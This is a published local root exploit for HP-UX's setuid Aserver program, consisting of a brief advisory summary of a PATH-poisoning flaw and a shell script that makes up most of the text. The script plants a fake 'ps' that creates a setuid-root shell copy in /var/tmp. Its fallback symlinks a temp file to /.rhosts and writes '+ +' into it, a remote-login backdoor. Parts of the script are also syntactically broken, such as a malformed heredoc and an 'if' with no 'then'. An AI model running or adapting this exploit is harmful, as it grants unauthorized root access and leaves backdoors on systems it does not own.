HP-UX 10.x/11.x - Aserver PATH

# source: https://www.securityfocus.com/bid/1929/info
#
# Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default.
#
# During normal execution, Aserver executes "ps" via the system() libcall, relying on the PATH environment variable to do so. As a result, a user can modify their PATH environment variable so that it includes an arbitrary program called 'ps' before executing Aserver. When Aserver is run with the -f argument, the offending system() function will be called and the attacker's version of ps will be executed as root.
#
# This is a trivial root compromise.
#

#!/bin/sh
#
# HP-UX aserver.sh - Loneguard 18/10/98
# Simple no brainer path poison followed by a twist [ inspired by DC ;) ]
#
cd /var/tmp
cat < _EOF > ps
#!/bin/sh
cp /bin/csh /var/tmp/.foosh
chmod 4755 /var/tmp/.foosh
_EOF
chmod 755 ps
PATH=.:$PATH
/opt/audio/bin/Aserver -f
if [ -e /var/tmp/.foosh ]
        # Hmmm, you not like that technique?
        cd /tmp
        rm last_uuid
        ln -s /.rhosts last_uuid
        /opt/audio/bin/Aserver -f
        echo "+ +" > /.rhosts
        # Haha, my Kungfu is the best!
fi
echo Crazy MONKEY!